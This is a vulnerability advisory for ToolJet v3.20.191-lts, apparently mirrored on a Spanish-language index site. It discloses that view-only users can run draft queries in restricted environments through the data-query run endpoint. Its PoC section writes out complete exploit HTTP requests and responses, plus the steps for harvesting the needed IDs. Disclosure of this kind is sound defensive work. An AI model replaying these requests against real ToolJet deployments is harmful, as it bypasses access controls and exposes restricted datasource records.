GHSA-XJ6P-6RGW-R7PP
View-only users can execute restricted draft/environment datasource queries via data query run endpoints
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XJ6P-6RGW-R7PP divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
ToolJet v3.20.191-lts allows an authenticated low-privileged workspace user to execute datasource queries from draft/non-released app versions and restricted environments, even when normal app preview validation denies access to that environment.
A user with view-only app access and no development/staging environment access can call the data query run endpoint directly with a restricted `environmentId`. ToolJet then executes the query using the stored datasource credentials/options for that restricted environment.
In my runtime PoC, a view-only `end-user` who was denied normal private development preview still executed a draft query against the development datasource and received:
TOOLJET_RESTRICTED_ENV_MARKER_9f31Details
Affected version tested:
- ToolJet `v3.20.191-lts`
- Commit: `2c8b1d474f9449b03ba26ab475bb5d1d74c9bb21`
- Runtime version banner: `3.20.191-ce-lts`
Vulnerable route:
POST /api/data-queries/:id/versions/:versionId/run/:environmentIdRelevant files:
- `server/src/modules/data-queries/controller.ts`
- `server/src/modules/data-queries/service.ts`
- `server/src/modules/data-queries/util.service.ts`
- `server/src/modules/data-queries/ability/app/data-query-app.ability.ts`
- `server/src/modules/data-queries/ability/data-source/index.ts`
- `server/src/modules/app-environments/util.service.ts`
Root cause:
The builder query run path authorizes access to the app/query/datasource, but it does not enforce the same environment access boundary used by private app preview validation. The attacker-controlled `environmentId` is passed into datasource option resolution, and ToolJet loads the stored datasource options for that environment:
const dataSourceOptions = await this.appEnvironmentUtilService.getOptions(
dataSource.id,
organizationId,
envId
);`getOptions()` verifies that the environment belongs to the organization, but it does not verify that the current user is allowed to access that environment.
The same authorization weakness also appeared on the normal query listing/run paths during validation: a workspace user with no visible app access could not see the app through `GET /api/apps` or `GET /api/apps/:id`, but could still access query metadata by `versionId` and execute the query if they knew the IDs.
PoC
Test setup:
- Workspace: `6c378288-0b1a-4c21-8035-dfba15c933a6`
- App: `0598cb78-8566-4a17-8e43-cb73e4e6addd`
- Draft app version: `2b2d1d84-1096-4299-ad58-9d36e19bad61`
- Restricted environment: development, ID `5bcd0e5b-fea9-4efc-af22-a9aa9cea214d`
- Control environment: production, ID `e17a5e9f-e052-477d-8f13-5ad603918ea4`
- Query ID: `10e1d1ab-9290-4369-9f78-c50c29a5cc6b`
- Attacker: active workspace user in default end-user group:
- `can_view=true`
- `can_edit=false`
- `can_access_development=false`
- `can_access_staging=false`
- `can_access_production=false`
- `can_access_released=true`
The development datasource returned:
TOOLJET_RESTRICTED_ENV_MARKER_9f31The production datasource returned:
TOOLJET_PRODUCTION_CONTROL_9f31Negative control: normal restricted preview is denied
GET /api/apps/validate-private-app-access/0598cb78-8566-4a17-8e43-cb73e4e6addd?access_type=view&version_id=2b2d1d84-1096-4299-ad58-9d36e19bad61&environment_id=5bcd0e5b-fea9-4efc-af22-a9aa9cea214d
Cookie: tj_auth_token=<viewer-session>
tj-workspace-id: 6c378288-0b1a-4c21-8035-dfba15c933a6Response:
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"statusCode":403,"message":"You do not have permission to access this resource"}ID availability
The same view-only user can obtain the required IDs through normal view-only API responses:
GET /api/apps/0598cb78-8566-4a17-8e43-cb73e4e6addd
Cookie: tj_auth_token=<viewer-session>
tj-workspace-id: 6c378288-0b1a-4c21-8035-dfba15c933a6Response includes:
{
"editing_version": {
"id": "2b2d1d84-1096-4299-ad58-9d36e19bad61",
"current_environment_id": "5bcd0e5b-fea9-4efc-af22-a9aa9cea214d",
"status": "DRAFT"
},
"data_queries": [
{
"id": "10e1d1ab-9290-4369-9f78-c50c29a5cc6b",
"name": "restricted_marker_query_9f31",
"data_source_id": "0c7ab798-0bee-4a02-bc12-d2b0eb4a2463",
"app_version_id": "2b2d1d84-1096-4299-ad58-9d36e19bad61",
"kind": "postgresql"
}
],
"editorEnvironment": {
"id": "5bcd0e5b-fea9-4efc-af22-a9aa9cea214d",
"name": "development"
}
}Exploit request
POST /api/data-queries/10e1d1ab-9290-4369-9f78-c50c29a5cc6b/versions/2b2d1d84-1096-4299-ad58-9d36e19bad61/run/5bcd0e5b-fea9-4efc-af22-a9aa9cea214d
Cookie: tj_auth_token=<viewer-session>
tj-workspace-id: 6c378288-0b1a-4c21-8035-dfba15c933a6
Content-Type: application/json
{"resolvedOptions":{}}Response:
HTTP/1.1 201 Created
Content-Type: application/json
{
"status": "ok",
"data": [
{
"value": "TOOLJET_RESTRICTED_ENV_MARKER_9f31"
}
]
}This proves that the view-only user executed the restricted development-environment datasource query using stored datasource credentials/options.
`environmentId` control
Changing only the final route parameter to the production environment ID returns different data:
POST /api/data-queries/10e1d1ab-9290-4369-9f78-c50c29a5cc6b/versions/2b2d1d84-1096-4299-ad58-9d36e19bad61/run/e17a5e9f-e052-477d-8f13-5ad603918ea4
Cookie: tj_auth_token=<viewer-session>
tj-workspace-id: 6c378288-0b1a-4c21-8035-dfba15c933a6
Content-Type: application/json
{"resolvedOptions":{}}Response:
{
"status": "ok",
"data": [
{
"value": "TOOLJET_PRODUCTION_CONTROL_9f31"
}
]
}This shows that `environmentId` is attacker-controlled and is not silently ignored.
Anonymous negative control
Without `tj_auth_token`, the same direct run request returns:
HTTP/1.1 401 UnauthorizedImpact
An authenticated low-privileged workspace user can execute datasource queries from draft/non-released app versions and restricted environments using stored datasource credentials. This bypasses ToolJet’s environment access controls and can expose development/staging data, unreleased query results, or sensitive internal datasource records to users who should only be able to view released apps.
This is a high-impact authorization bypass because it allows unauthorized datasource execution with victim-configured stored credentials.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Versiones afectadas
v3.20.191-ltsEstado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmtooljet |
Sin parche | — | — | 0.0.1-security.1 no afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/ToolJet/ToolJet/security/advisories/GHSA-xj6p-6rgw-r7ppLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
